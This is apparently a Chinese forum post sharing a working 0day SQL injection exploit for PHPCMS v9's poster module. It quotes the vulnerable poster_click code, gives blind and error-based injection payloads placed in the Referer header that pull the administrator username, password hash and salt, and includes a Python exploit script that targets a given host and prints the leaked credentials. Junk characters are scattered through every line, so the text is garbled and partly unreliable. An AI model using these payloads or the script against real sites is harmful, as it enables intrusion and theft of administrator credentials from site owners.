有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:7 k" z% W& H" r
, S; | u9 z/ |4 v. u I问题函数\phpcms\modules\poster\index.php) V }+ k$ R2 c$ l5 D1 h( w9 W( a
d% m* j2 ?1 o6 v; V; Y/ ^" [$ A( O4 Xpublic function poster_click() {
, W/ O, E+ c& O! W, {$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
) g/ A" Z# \2 G/ C$r = $this->db->get_one(array('id'=>$id));
9 H% i: U; P# I l- Z5 P4 N. bif (!is_array($r) && empty($r)) return false;
- c. T N1 G; W+ `# m8 ?" n$ip_area = pc_base::load_sys_class('ip_area');4 [& \3 R c1 S$ a1 p
$ip = ip();
% X% a$ c9 V( R8 o1 b, h0 l& p$area = $ip_area->get($ip);7 `+ H" r: O7 x& i; X
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
6 F4 H/ k6 Q5 O( @if($id) {
Z1 f8 i0 v1 O& ?. b; _/ l. Z v! {$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
* G3 W$ r5 ]. A4 O- n# i$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));3 @) ~+ N, H* @9 P
}" }9 b1 d. Q( t- B* A
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
4 t3 A1 I/ t4 ^, }$setting = string2array($r['setting']);
' U: u- {" ]! Fif (count($setting)==1) {8 B6 ? r- a5 i8 Z& Z! H
$url = $setting['1']['linkurl'];3 q6 E" G3 `6 p) G3 Y2 R
} else {
) ]4 Y! `3 u6 w r- z* [% K$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
. {2 E& K6 F! E6 k5 P/ f* L}
* j, u! [, e ?header('Location: '.$url);
+ c' {" n" X: L}
" E2 M7 ^9 p. W
+ f! e3 [% V+ `& T2 ~5 u 8 J4 G+ c) Q1 I0 {1 J, U' z
: `% p3 a- l1 B% ]. v" ~7 C* P利用方式:
$ S& \4 T! R/ a5 _# B$ g! Q( w6 o0 J
1、可以采用盲注入的手法:
! v' }' C+ |6 C4 A* X4 _# M' K1 R. F, ~
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#/ n* v6 X% u7 A
# g8 L. X2 H; X2 n/ X通过返回页面,正常与否一个个猜解密码字段。" l S8 g( a" ?
$ C( G+ r2 [ p" U* t- x2、代码是花开写的,随手附上了:: a- p" W! ]6 Q w5 Z
' D7 t i S( f/ y2 j
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
# a+ r6 X8 e% l0 |- E2 C- N/ k; y* U0 w
此方法是爆错注入手法,原理自查。
: ^3 v/ v, {3 C: `
3 j! H# e, s( v* q& t( z
3 T( R+ i/ e" s |
) U) i8 _; q b# |" f) v4 q利用程序:$ J$ a' k% _. Z; {
3 S( j& @" o6 f+ S, k9 V- T
#!/usr/bin/env python
/ U$ S+ P8 K8 Nimport httplib,sys,re
* q: q& L) E& N$ v0 Z# M$ I4 ~( w* R8 u
def attack():
# v9 K$ j `/ { k% aprint “Code by Pax.Mac Team conqu3r!”
9 x8 W; T& c- ]6 A$ Nprint “Welcome to our zone!!!”# \6 V5 j0 g$ S# u, E' A
url=sys.argv[1]/ u; y- \9 h) F/ o3 f
paths=sys.argv[2]
; ~2 D/ l/ `( |; Vconn = httplib.HTTPConnection(url)
1 |) h! Z7 K6 ^+ M( U& E) Xi_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,+ o' X- [% H4 o; A
“Accept”: “text/plain”,
6 m9 n O' G4 E" Y' P“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}! \5 O# u! m! ^
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)4 ?( _: j3 X/ o$ I) n" K/ d: F( `
r1 = conn.getresponse(). v, I: [; C3 y% J1 y
datas=r1.read()
1 y% f' c1 [6 k3 C1 odatas=re.findall(r”Duplicate entry \’\w+’”, datas)2 r9 O: n) Z( p) m
print datas[0]) k9 x5 w9 _$ q( V# {/ m7 W
conn.close()8 D7 S+ e6 | Q- q3 d! X
if __name__==”__main__”:. X, _1 n ?9 `
if len(sys.argv)<3:
0 g+ }/ ~: D' Eprint “Code by Pax.Mac Team conqu3r”
3 d+ o3 |" D5 zprint “Usgae:”
! f. X: U" T, ~print “ phpcmsattack.py www.paxmac.org /”. w! j! T5 y& F! A2 ~; \
print “ phpcmsataack.py www.paxmac.org /phpcmsv9/”
. q0 ]( e5 ~8 _4 c* Rsys.exit(1)8 _. _! E$ ], y& E. D/ n' }
attack()
1 h) \5 l4 K# t" [
8 {" g0 }/ i2 D# I2 t' B$ W+ O4 p) Y |